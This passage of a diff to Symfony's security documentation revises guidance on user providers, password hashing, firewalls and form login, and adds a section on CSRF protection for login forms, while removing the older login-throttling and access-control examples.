+            // If you store any temporary, sensitive data on the user, clear it here
+            // $this->plainPassword = null;
+        }
+    }
 
-    Does this app need to hash/check user passwords? (yes/no) [yes]:
-    > yes
+.. versionadded:: 5.3
 
-    created: src/Entity/User.php
-    created: src/Repository/UserRepository.php
-    updated: src/Entity/User.php
-    updated: config/packages/security.yaml
+    The :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
+    interface and ``getUserIdentifier()`` method were introduced in Symfony 5.3.
 
-That's it! The command asks several questions so that it can generate exactly what
-you need. The most important is the ``User.php`` file itself. The *only* rule about
-your ``User`` class is that it *must* implement :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
-Feel free to add *any* other fields or logic you need. If your ``User`` class is
-an entity (like in this example), you can use the :ref:`make:entity command <doctrine-add-more-fields>`
-to add more fields. Also, make sure to make and run a migration for the new entity:
+If your user is a Doctrine entity, like in the example above, don't forget
+to create the tables by :ref:`creating and running a migration <doctrine-creating-the-database-tables-schema>`:
 
 .. code-block:: terminal
 
     $ php bin/console make:migration
     $ php bin/console doctrine:migrations:migrate
 
-.. _security-user-providers:
 .. _where-do-users-come-from-user-providers:
+.. _security-user-providers:
 
-2b) The "User Provider"
------------------------
-
-In addition to your ``User`` class, you also need a "User provider": a class that
-helps with a few things, like reloading the User data from the session and some
-optional features, like :doc:`remember me </security/remember_me>` and
-:doc:`impersonation </security/impersonating_user>`.
+Loading the User: The User Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Fortunately, the ``make:user`` command already configured one for you in your
-``security.yaml`` file under the ``providers`` key:
+Besides creating the entity, the ``make:user`` command also adds config
+for a user provider in your security configuration:
 
 .. configuration-block::
 
@@ -152,7 +266,6 @@ Fortunately, the ``make:user`` command already configured one for you in your
             # ...
 
             providers:
-                # used to reload user from session & other features (e.g. switch_user)
                 app_user_provider:
                     entity:
                         class: App\Entity\User
@@ -166,10 +279,13 @@ Fortunately, the ``make:user`` command already configured one for you in your
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
-                <!-- used to reload user from session & other features (e.g. switch-user) -->
+                <!-- ... -->
+
                 <provider name="app_user_provider">
                     <entity class="App\Entity\User" property="email"/>
                 </provider>
@@ -185,29 +301,89 @@ Fortunately, the ``make:user`` command already configured one for you in your
         return static function (SecurityConfig $security) {
             // ...
 
-            // used to reload user from session & other features (e.g. switch_user)
             $security->provider('app_user_provider')
                 ->entity()
                     ->class(User::class)
-                    ->property('email');
+                    ->property('email')
+            ;
         };
 
+This user provider knows how to (re)load users from a storage (e.g. a database)
+based on a "user identifier" (e.g. the user's email address or username).
+The configuration above uses Doctrine to load the ``User`` entity using the
+``email`` property as "user identifier".
+
+User providers are used in a couple places during the security lifecycle:
+
+**Load the User based on an identifier**
+    During login (or any other authenticator), the provider loads the user
+    based on the user identifier. Some other features, like
+    :doc:`user impersonation </security/impersonating_user>` and
+    :doc:`Remember Me </security/remember_me>` also use this.
+
+**Reload the User from the session**
+    At the beginning of each request, the user is loaded from the
+    session (unless your firewall is ``stateless``). The provider
+    "refreshes" the user  (e.g. the database is queried again for fresh
+    data), to make sure all user information is up to date (and if
+    necessary, the user is de-authenticated/logged out if something
+    changed). See :ref:`user_session_refresh` for more information about
+    this process.
+
+Symfony comes with several built-in user providers:
+
+:ref:`Entity User Provider <security-entity-user-provider>`
+    Loads users from a database using :doc:`Doctrine </doctrine>`;
+:ref:`LDAP User Provider <security-ldap-user-provider>`
+    Loads users from a LDAP server;
+:ref:`Memory User Provider <security-memory-user-provider>`
+    Loads users from a configuration file;
+:ref:`Chain User Provider <security-chain-user-provider>`
+    Merges two or more user providers into a new user provider.
+
+The built-in user providers cover most the common needs for applications, but you
+can also create your own :ref:`custom user provider <security-custom-user-provider>`.
 
-If your ``User`` class is an entity, you don't need to do anything else. But if
-your class is *not* an entity, then ``make:user`` will also have generated a
-``UserProvider`` class that you need to finish. Learn more about user providers
-here: :doc:`User Providers </security/user_provider>`.
+.. note::
+
+    Sometimes, you need to inject the user provider in another class (e.g.
+    in your custom authenticator). All user providers follow this pattern
+    for their service ID: ``security.user.provider.concrete.<your-provider-name>``
+    (where ``<your-provider-name>`` is the configuration key, e.g.
+    ``app_user_provider``).
 
 .. _security-encoding-user-password:
-.. _encoding-the-user-s-password:
-.. _2c-encoding-passwords:
 
-2c) Hashing Passwords
----------------------
+Registering the User: Hashing Passwords
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Most applications require a user to login with a password. For these
+applications, the SecurityBundle provides password hashing and verification
+functionality.
+
+First, make sure your User class implements the
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`::
 
-Not all applications have "users" that need passwords. *If* your users have passwords,
-you can control how those passwords are hashed in ``security.yaml``. The ``make:user``
-command will pre-configure this for you:
+    // src/Entity/User.php
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+
+    class User implements UserInterface, PasswordAuthenticatedUserInterface
+    {
+        // ...
+
+        /**
+         * @return string the hashed password for this user
+         */
+        public function getPassword(): string
+        {
+            return $this->password;
+        }
+    }
+
+Then, configure which password hasher should be used for this class. The
+``make:user`` pre-configured this for you:
 
 .. configuration-block::
 
@@ -216,11 +392,9 @@ command will pre-configure this for you:
         # config/packages/security.yaml
         security:
             # ...
-
             password_hashers:
-                # use your user class name here
                 App\Entity\User:
-                    # Use native password hasher, which auto-selects the best
+                    # Use native password hasher, which auto-selects and migrates the best
                     # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
                     algorithm: auto
 
@@ -238,12 +412,9 @@ command will pre-configure this for you:
 
             <config>
                 <!-- ... -->
-
-                <security:password-hasher class="App\Entity\User"
-                    algorithm="auto"
-                    cost="12"/>
-
-                <!-- ... -->
+                <!-- Use native password hasher, which auto-selects and migrates the best
+                     possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt") -->
+                <password-hasher class="App\Entity\User" algorithm="auto"/>
             </config>
         </srv:container>
 
@@ -256,11 +427,11 @@ command will pre-configure this for you:
         return static function (SecurityConfig $security) {
             // ...
 
+            // Use native password hasher, which auto-selects and migrates the best
+            // possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
             $security->passwordHasher(User::class)
                 ->algorithm('auto')
-                ->cost(12);
-
-            // ...
+            ;
         };
 
 .. versionadded:: 5.3
@@ -270,72 +441,63 @@ command will pre-configure this for you:
 
 Now that Symfony knows *how* you want to hash the passwords, you can use the
 ``UserPasswordHasherInterface`` service to do this before saving your users to
-the database.
-
-.. _user-data-fixture:
-
-For example, by using :ref:`DoctrineFixturesBundle <doctrine-fixtures>`, you can
-create dummy database users:
-
-.. code-block:: terminal
+the database::
 
-    $ php bin/console make:fixtures
+    // src/Controller/RegistrationController.php
+    namespace App\Controller;
 
-    The class name of the fixtures to create (e.g. AppFixtures):
-    > UserFixtures
-
-Use this service to hash the passwords:
-
-.. code-block:: diff
+    // ...
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
 
-      // src/DataFixtures/UserFixtures.php
+    class RegistrationController extends AbstractController
+    {
+        public function index(UserPasswordHasherInterface $passwordHasher)
+        {
+            // ... e.g. get the user data from a registration form
+            $user = new User(...);
+            $plaintextPassword = ...;
 
-    + use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
-      // ...
+            // hash the password (based on the security.yaml config for the $user class)
+            $hashedPassword = $passwordHasher->hash(
+                $user,
+                $plaintextPassword
+            );
+            $user->setPassword($hashedPassword);
 
-      class UserFixtures extends Fixture
-      {
-    +     private $passwordHasher;
+            // ...
+        }
+    }
 
-    +     public function __construct(UserPasswordHasherInterface $passwordHasher)
-    +     {
-    +         $this->passwordHasher = $passwordHasher;
-    +     }
+.. tip::
 
-          public function load(ObjectManager $manager)
-          {
-              $user = new User();
-              // ...
+    The ``make:registration-form`` maker command can help you set-up the
+    registration controller and add features like email address
+    verification using the `SymfonyCastsVerifyEmailBundle`_.
 
-    +         $user->setPassword($this->passwordHasher->hashPassword(
-    +             $user,
-    +             'the_new_password'
-    +         ));
+    .. code-block:: terminal
 
-              // ...
-          }
-      }
+        $ composer require symfonycasts/verify-email-bundle
+        $ php bin/console make:registration-form
 
-You can manually hash a password by running:
+You can also manually hash a password by running:
 
 .. code-block:: terminal
 
     $ php bin/console security:hash-password
 
-.. _security-yaml-firewalls:
-.. _security-firewalls:
-.. _firewalls-authentication:
-
-3a) Authentication & Firewalls
-------------------------------
+Read more about all available hashers and password migration in
+:doc:`security/passwords`.
 
-.. versionadded:: 5.1
+.. _firewalls-authentication:
+.. _a-authentication-firewalls:
 
-    The ``lazy: true`` option was introduced in Symfony 5.1. Prior to version 5.1,
-    it was enabled using ``anonymous: lazy``
+The Firewall
+------------
 
-The security system is configured in ``config/packages/security.yaml``. The *most*
-important section is ``firewalls``:
+The ``firewalls`` section of ``config/packages/security.yaml`` is the *most*
+important section. A "firewall" is your authentication system: the firewall
+defines which parts of your application are secured and *how* your users
+will be able to authenticate (e.g. login form, API token, etc).
 
 .. configuration-block::
 
@@ -343,13 +505,20 @@ important section is ``firewalls``:
 
         # config/packages/security.yaml
         security:
+            # ...
             firewalls:
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
                 main:
-                    anonymous: true
                     lazy: true
+                    provider: users_in_memory
+
+                    # activate different ways to authenticate
+                    # https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                    # https://symfony.com/doc/current/security/impersonating_user.html
+                    # switch_user: true
 
     .. code-block:: xml
 
@@ -364,13 +533,19 @@ important section is ``firewalls``:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
+                <!-- ... -->
                 <firewall name="dev"
                     pattern="^/(_(profiler|wdt)|css|images|js)/"
                     security="false"/>
 
                 <firewall name="main"
-                    anonymous="true"
                     lazy="true"/>
+
+                <!-- activate different ways to authenticate
+                     https://symfony.com/doc/current/security.html#firewalls-authentication -->
+
+                <!-- https://symfony.com/doc/current/security/impersonating_user.html -->
+                <!-- <switch-user/> -->
             </config>
         </srv:container>
 
@@ -380,45 +555,47 @@ important section is ``firewalls``:
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
+            // ...
             $security->firewall('dev')
                 ->pattern('^/(_(profiler|wdt)|css|images|js)/')
-                ->security(false);
+                ->security(false)
+            ;
 
             $security->firewall('main')
                 ->lazy(true)
-                ->anonymous();
-        };
 
-A "firewall" is your authentication system: the configuration below it defines
-*how* your users will be able to authenticate (e.g. login form, API token, etc).
+                // activate different ways to authenticate
+                // https://symfony.com/doc/current/security.html#firewalls-authentication
+
+                // https://symfony.com/doc/current/security/impersonating_user.html
+                // ->switchUser(true)
+            ;
+        };
 
 Only one firewall is active on each request: Symfony uses the ``pattern`` key
-to find the first match (you can also :doc:`match by host or other things </security/firewall_restriction>`).
-The ``dev`` firewall is really a fake firewall: it makes sure that you don't
-accidentally block Symfony's dev tools - which live under URLs like ``/_profiler``
-and ``/_wdt``.
+to find the first match (you can also
+:doc:`match by host or other things </security/firewall_restriction>`).
+
+The ``dev`` firewall is really a fake firewall: it makes sure that you
+don't accidentally block Symfony's dev tools - which live under URLs like
+``/_profiler`` and ``/_wdt``.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
-in other words many ways to ask the question "Who are you?". Often, the
-user is unknown (i.e. not logged in) when they first visit your website. The
-``anonymous`` mode, if enabled, is used for these requests.
+in other words many ways to ask the question "Who are you?".
 
-In fact, if you go to the homepage right now, you *will* have access and you'll
-see that you're "authenticated" as ``anon.``. The firewall verified that it
-does not know your identity, and so, you are anonymous:
+Often, the user is unknown (i.e. not logged in) when they first visit your
+website. If you visit your homepage right now, you *will* have access and
+you'll see that you're visiting a page behind the firewall in the toolbar:
 
 .. image:: /_images/security/anonymous_wdt.png
    :align: center
 
-It means any request can have an anonymous token to access some resource,
-while some actions (i.e. some pages or buttons) can still require specific
-privileges. A user can then access a form login without being authenticated
-as a unique user (otherwise an infinite redirection loop would happen
-asking the user to authenticate while trying to doing so).
-
-You'll learn later how to deny access to certain URLs, controllers, or part of
-templates.
+Visiting a secured section doesn't necessarily require you to authenticate
+(e.g. the login form has to be accessible or some parts of your application
+are public). You'll learn how to restrict access to URLs, controllers or
+anything else within your firewall in the :ref:`access control
+<security-access-control>` section.
 
 .. tip::
 
@@ -429,7 +606,8 @@ templates.
 
 .. note::
 
-    If you do not see the toolbar, install the :doc:`profiler </profiler>` with:
+    If you do not see the toolbar, install the :doc:`profiler </profiler>`
+    with:
 
     .. code-block:: terminal
 
@@ -438,53 +616,67 @@ templates.
 Now that we understand our firewall, the next step is to create a way for your
 users to authenticate!
 
-.. _security-form-login:
+.. _security-authenticators:
 
-3b) Authenticating your Users
------------------------------
+Authenticating Users
+--------------------
 
-Authentication in Symfony can feel a bit "magic" at first. That's because, instead
-of building a route & controller to handle login, you'll activate an
-*authentication provider*: some code that runs automatically *before* your controller
-is called.
+During authentication, the system tries to find a matching user for the
+visitor of the webpage. Traditionally, this was done using a login form or
+a HTTP basic dialog in the browser. However, the SecurityBundle comes with
+many other authenticators:
 
-Symfony has several :doc:`built-in authentication providers </security/auth_providers>`.
-If your use-case matches one of these *exactly*, great! But, in most cases - including
-a login form - *we recommend building a Guard Authenticator*: a class that allows
-you to control *every* part of the authentication process (see the next section).
+* `Form Login`_
+* `JSON Login`_
+* `HTTP Basic`_
+* `Login Link`_
+* `X.509 Client Certificates`_
+* `Remote users`_
+* :doc:`Custom Authenticators </security/custom_authenticator>`
 
 .. tip::
 
-    If your application logs users in via a third-party service such as Google,
-    Facebook or Twitter (social login), check out the `HWIOAuthBundle`_ community
-    bundle.
+    If your application logs users in via a third-party service such as
+    Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
+    community bundle.
+
+Form Login
+~~~~~~~~~~
 
-Guard Authenticators
-~~~~~~~~~~~~~~~~~~~~
+Most websites have a login form where users authenticate using an
+identifier (e.g. email address or username) and a password. This
+functionality is provided by the *form login authenticator*.
 
-.. deprecated:: 5.3
+First, create a controller for the login form:
 
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
+.. code-block:: terminal
 
-A Guard authenticator is a class that gives you *complete* control over your
-authentication process. There are many different ways to build an authenticator;
-here are a few common use-cases:
+    $ php bin/console make:controller Login
 
-* :doc:`/security/form_login_setup`
-* :doc:`/security/guard_authentication` – see this for the most detailed
-  description of authenticators and how they work
+     created: src/Controller/LoginController.php
+     created: templates/login/index.html.twig
 
-Limiting Login Attempts
-~~~~~~~~~~~~~~~~~~~~~~~
+.. code-block:: php
 
-.. versionadded:: 5.2
+    // src/Controller/LoginController.php
+    namespace App\Controller;
 
-    Login throttling was introduced in Symfony 5.2.
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
-Symfony provides basic protection against `brute force login attacks`_ if
-you're using the :doc:`authenticator-based authenticators </security/authenticator_manager>`.
-You must enable this using the ``login_throttling`` setting:
+    class LoginController extends AbstractController
+    {
+        #[Route('/login', name: 'login')]
+        public function index(): Response
+        {
+            return $this->render('login/index.html.twig', [
+                'controller_name' => 'LoginController',
+            ]);
+        }
+    }
+
+Then, enable the form login authenticator using the ``form_login`` setting:
 
 .. configuration-block::
 
@@ -492,57 +684,33 @@ You must enable this using the ``login_throttling`` setting:
 
         # config/packages/security.yaml
         security:
-            enable_authenticator_manager: true
+            # ...
 
             firewalls:
-                # ...
-
                 main:
                     # ...
-
-                    # by default, the feature allows 5 login attempts per minute
-                    login_throttling: null
-
-                    # configure the maximum login attempts (per minute)
-                    login_throttling:
-                        max_attempts: 3
-
-                    # configure the maximum login attempts in a custom period of time
-                    login_throttling:
-                        max_attempts: 3
-                        interval: '15 minutes'
-
-                    # use a custom rate limiter via its service ID
-                    login_throttling:
-                        limiter: app.my_login_rate_limiter
+                    form_login:
+                        # "login" is the name of the route created previously
+                        login_path: login
+                        check_path: login
 
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/security
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
-            <config enable-authenticator-manager="true">
+            <config>
                 <!-- ... -->
-
                 <firewall name="main">
-                    <!-- by default, the feature allows 5 login attempts per minute -->
-                    <login-throttling/>
-
-                    <!-- configure the maximum login attempts (per minute) -->
-                    <login-throttling max-attempts="3"/>
-
-                    <!-- configure the maximum login attempts in a custom period of time -->
-                    <login-throttling max-attempts="3" interval="15 minutes"/>
-
-                    <!-- use a custom rate limiter via its service ID -->
-                    <login-throttling limiter="app.my_login_rate_limiter"/>
+                    <!-- "login" is the name of the route created previously -->
+                    <form-login login-path="login" check-path="login"/>
                 </firewall>
             </config>
         </srv:container>
@@ -553,256 +721,139 @@ You must enable this using the ``login_throttling`` setting:
         use Symfony\Config\SecurityConfig;
 
         return static function (SecurityConfig $security) {
-            $security->enableAuthenticatorManager(true);
-
             // ...
+
             $mainFirewall = $security->firewall('main');
 
-            // by default, the feature allows 5 login attempts per minute
-            $mainFirewall
-                ->loginThrottling();
+            // "login" is the name of the route created previously
+            $mainFirewall->formLogin()
+                ->loginPath('login')
+                ->checkPath('login')
+            ;
+        };
 
-            // configure the maximum login attempts (per minute)
-            $mainFirewall
-                ->loginThrottling()
-                    ->maxAttempts(3)
-                    ->interval('15 minutes');
+.. note::
 
-            // configure the maximum login attempts in a custom period of time
-            $mainFirewall
-                ->loginThrottling()
-                    ->maxAttempts(3);
-        };
+    The ``login_path`` and ``check_path`` support URLs and route names (but
+    cannot have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo``
+    has no default value).
 
-.. versionadded:: 5.3
+Once enabled, the security system redirects unauthenticated visitors to the
+``login_path`` when they try to access a secured place (this behavior can
+be customized using :ref:`authentication entry points <security-entry-point>`).
 
-    The ``login_throttling.interval`` option was introduced in Symfony 5.3.
+Edit the login controller to render the login form:
 
-By default, login attempts are limited on ``max_attempts`` (default: 5)
-failed requests for ``IP address + username`` and ``5 * max_attempts``
-failed requests for ``IP address``. The second limit protects against an
-attacker using multiple usernames from bypassing the first limit, without
-distrupting normal users on big networks (such as offices).
+.. code-block:: diff
 
-.. tip::
+      // ...
+    + use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
 
-    Limiting the failed login attempts is only one basic protection against
-    brute force attacks. The `OWASP Brute Force Attacks`_ guidelines mention
-    several other protections that you should consider depending on the
-    level of protection required.
+      class LoginController extends AbstractController
+      {
+          #[Route('/login', name: 'login')]
+    -     public function index(): Response
+    +     public function index(AuthenticationUtils $authenticationUtils): Response
+          {
+    +         // get the login error if there is one
+    +         $error = $authenticationUtils->getLastAuthenticationError();
+    +
+    +         // last username entered by the user
+    +         $lastUsername = $authenticationUtils->getLastUsername();
+    +
+              return $this->render('login/index.html.twig', [
+    -             'controller_name' => 'LoginController',
+    +             'last_username' => $lastUsername,
+    +             'error'         => $error,
+              ]);
+          }
+      }
 
-If you need a more complex limiting algorithm, create a class that implements
-:class:`Symfony\\Component\\HttpFoundation\\RateLimiter\\RequestRateLimiterInterface`
-(or use
-:class:`Symfony\\Component\\Security\\Http\\RateLimiter\\DefaultLoginRateLimiter`)
-and set the ``limiter`` option to its service ID:
+Don't let this controller confuse you. The form login authenticators
+handles the form submission for you. If the user submits an invalid
+username or password, this controller reads the form submission error from
+the security system (using ``AuthenticationUtils``), so that it can be
+displayed back to the user.
 
-.. configuration-block::
+Finally, create the template:
 
-    .. code-block:: yaml
+.. code-block:: html+twig
 
-        # config/packages/security.yaml
-        framework:
-            rate_limiter:
-                # define 2 rate limiters (one for username+IP, the other for IP)
-                username_ip_login:
-                    policy: token_bucket
-                    limit: 5
-                    rate: { interval: '5 minutes' }
+    {# templates/login/index.html.twig #}
+    {% extends 'base.html.twig' %}
 
-                ip_login:
-                    policy: sliding_window
-                    limit: 50
-                    interval: '15 minutes'
-
-        services:
-            # our custom login rate limiter
-            app.login_rate_limiter:
-                class: Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter
-                arguments:
-                    # globalFactory is the limiter for IP
-                    $globalFactory: '@limiter.ip_login'
-                    # localFactory is the limiter for username+IP
-                    $localFactory: '@limiter.username_ip_login'
-
-        security:
-            firewalls:
-                main:
-                    # use a custom rate limiter via its service ID
-                    login_throttling:
-                        limiter: app.login_rate_limiter
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <framework:config>
-                <framework:rate-limiter>
-                    <!-- define 2 rate limiters (one for username+IP, the other for IP) -->
-                    <framework:limiter name="username_ip_login"
-                        policy="token_bucket"
-                        limit="5"
-                    >
-                        <framework:rate interval="5 minutes"/>
-                    </framework:limiter>
-
-                    <framework:limiter name="ip_login"
-                        policy="sliding_window"
-                        limit="50"
-                        interval="15 minutes"
-                    />
-                </framework:rate-limiter>
-            </framework:config>
-
-            <srv:services>
-                <!-- our custom login rate limiter -->
-                <srv:service id="app.login_rate_limiter"
-                    class="Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter"
-                >
-                    <!-- 1st argument is the limiter for IP -->
-                    <srv:argument type="service" id="limiter.ip_login"/>
-                    <!-- 2nd argument is the limiter for username+IP -->
-                    <srv:argument type="service" id="limiter.username_ip_login"/>
-                </srv:service>
-            </srv:services>
-
-            <config>
-                <firewall name="main">
-                    <!-- use a custom rate limiter via its service ID -->
-                    <login-throttling limiter="app.login_rate_limiter"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Component\DependencyInjection\ContainerBuilder;
-        use Symfony\Component\DependencyInjection\Reference;
-        use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
-        use Symfony\Config\FrameworkConfig;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
-            $framework->rateLimiter()
-                ->limiter('username_ip_login')
-                    ->policy('token_bucket')
-                    ->limit(5)
-                    ->rate()
-                        ->interval('5 minutes')
-            ;
-
-            $framework->rateLimiter()
-                ->limiter('ip_login')
-                    ->policy('sliding_window')
-                    ->limit(50)
-                    ->interval('15 minutes')
-            ;
-
-            $container->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
-                ->setArguments([
-                    // 1st argument is the limiter for IP
-                    new Reference('limiter.ip_login'),
-                    // 2nd argument is the limiter for username+IP
-                    new Reference('limiter.username_ip_login'),
-                ]);
-
-            $security->firewall('main')
-                ->loginThrottling()
-                    ->limiter('app.login_rate_limiter')
-            ;
-        };
+    {# ... #}
 
-.. _`security-authorization`:
-.. _denying-access-roles-and-other-authorization:
-
-4) Denying Access, Roles and other Authorization
-------------------------------------------------
-
-Users can now log in to your app using your login form. Great! Now, you need to learn
-how to deny access and work with the User object. This is called **authorization**,
-and its job is to decide if a user can access some resource (a URL, a model object,
-a method call, ...).
-
-The process of authorization has two different sides:
+    {% block body %}
+        {% if error %}
+            <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
+        {% endif %}
 
-#. The user receives a specific set of roles when logging in (e.g. ``ROLE_ADMIN``).
-#. You add code so that a resource (e.g. URL, controller) requires a specific
-   "attribute" (most commonly a role like ``ROLE_ADMIN``) in order to be
-   accessed.
+        <form action="{{ path('login') }}" method="post">
+            <label for="username">Username:</label>
+            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
 
-Roles
-~~~~~
+            <label for="password">Password:</label>
+            <input type="password" id="password" name="_password"/>
 
-When a user logs in, Symfony calls the ``getRoles()`` method on your ``User``
-object to determine which roles this user has. In the ``User`` class that we
-generated earlier, the roles are an array that's stored in the database, and
-every user is *always* given at least one role: ``ROLE_USER``::
+            {# If you want to control the URL the user is redirected to on success
+            <input type="hidden" name="_target_path" value="/account"/> #}
 
-    // src/Entity/User.php
+            <button type="submit">login</button>
+        </form>
+    {% endblock %}
 
-    // ...
-    class User
-    {
-        /**
-         * @ORM\Column(type="json")
-         */
-        private $roles = [];
+.. caution::
 
-        // ...
-        public function getRoles(): array
-        {
-            $roles = $this->roles;
-            // guarantee every user at least has ROLE_USER
-            $roles[] = 'ROLE_USER';
+    The ``error`` variable passed into the template is an instance of
+    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
+    It may contain sensitive information about the authentication failure.
+    *Never* use ``error.message``, but the ``messageKey`` property instead
+    as shown in the example. This message is always safe to display.
 
-            return array_unique($roles);
-        }
-    }
+The form can look like anything, but it usually follows some conventions:
 
-This is a nice default, but you can do *whatever* you want to determine which roles
-a user should have. Here are a few guidelines:
+* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
+  that's what you configured under the ``form_login`` key in ``security.yaml``;
+* The username field has the name ``_username`` and the password field has the
+  name ``_password``.
 
-* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
+.. tip::
 
-* Other than the above rule, a role is just a string and you can invent what you
-  need (e.g. ``ROLE_PRODUCT_ADMIN``).
+    Actually, all of this can be configured under the ``form_login`` key. See
+    :ref:`reference-security-firewall-form-login` for more details.
 
-You'll use these roles next to grant access to specific sections of your site.
-You can also use a :ref:`role hierarchy <security-role-hierarchy>` where having
-some roles automatically give you other roles.
+.. caution::
 
-.. _security-role-authorization:
+    This login form is currently not protected against CSRF attacks. Read
+    :ref:`form_login-csrf` on how to protect your login form.
 
-Add Code to Deny Access
-~~~~~~~~~~~~~~~~~~~~~~~
+And that's it! When you submit the form, the security system automatically
+checks the user's credentials and either authenticate the user or send the
+user back to the login form where the error can be displayed.
 
-There are **two** ways to deny access to something:
+To review the whole process:
 
-#. :ref:`access_control in security.yaml <security-authorization-access-control>`
-   allows you to protect URL patterns (e.g. ``/admin/*``). Simpler, but less flexible;
+#. The user tries to access a resource that is protected;
+#. The firewall initiates the authentication process by redirecting the
+   user to the login form (``/login``);
+#. The ``/login`` page renders login form via the route and controller created
+   in this example;
+#. The user submits the login form to ``/login``;
+#. The security system intercepts the request, checks the user's submitted
+   credentials, authenticates the user if they are correct, and sends the
+   user back to the login form if they are not.
 
-#. :ref:`in your controller (or other code) <security-securing-controller>`.
+.. _form_login-csrf:
 
-.. _security-authorization-access-control:
+CSRF Protection in Login Forms
+..............................
 
-Securing URL patterns (access_control)
-......................................
+`Login CSRF attacks`_ can be prevented using the same technique of adding hidden
+CSRF tokens into the login forms. The Security component already provides CSRF
+protection, but you need to configure some options before using it.
 
-The most basic way to secure part of your app is to secure an entire URL pattern
-in ``security.yaml``. For example, to require ``ROLE_ADMIN`` for all URLs that
-start with ``/admin``, you can:
+First, you need to enable CSRF on the form login:
 
 .. configuration-block::
 
@@ -813,20 +864,11 @@ start with ``/admin``, you can:
             # ...
 
             firewalls:
-                # ...
-                main:
+                secured_area:
                     # ...
-
-            access_control:
-                # require ROLE_ADMIN for /admin*
-                - { path: '^/admin', roles: ROLE_ADMIN }
-
-                # or require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin*
-                - { path: '^/admin', roles: [IS_AUTHENTICATED_FULLY, ROLE_ADMIN] }
-
-                # the 'path' value can be any valid regular expression
-                # (this one will match URLs like /api/post/7298 and /api/comment/528491)
-                - { path: ^/api/(post|comment)/\d+$, roles: ROLE_USER }
+                    form_login:
+                        # ...
+                        enable_csrf: true
 
     .. code-block:: xml
 
@@ -843,22 +885,10 @@ start with ``/admin``, you can:
             <config>
                 <!-- ... -->
 
-                <firewall name="main">
+                <firewall name="secured_area">
                     <!-- ... -->
+                    <form-login enable-csrf="true"/>
                 </firewall>
-
-                <!-- require ROLE_ADMIN for /admin* -->
-                <rule path="^/admin" role="ROLE_ADMIN"/>
-
-                <!-- require ROLE_ADMIN or IS_AUTHENTICATED_FULLY for /admin* -->
-                <rule path="^/admin">
-                    <role>ROLE_ADMIN</role>
-                    <role>IS_AUTHENTICATED_FULLY</role>
-                </rule>
-
-                <!-- the 'path' value can be any valid regular expression
-                     (this one will match URLs like /api/post/7298 and /api/comment/528491) -->
-                <rule path="^/api/(post|comment)/\d+$" role="ROLE_USER"/>
             </config>
         </srv:container>
 
@@ -868,33 +898,52 @@ start with ``/admin``, you can:
         use Symfony\Config\SecurityConfig;
 
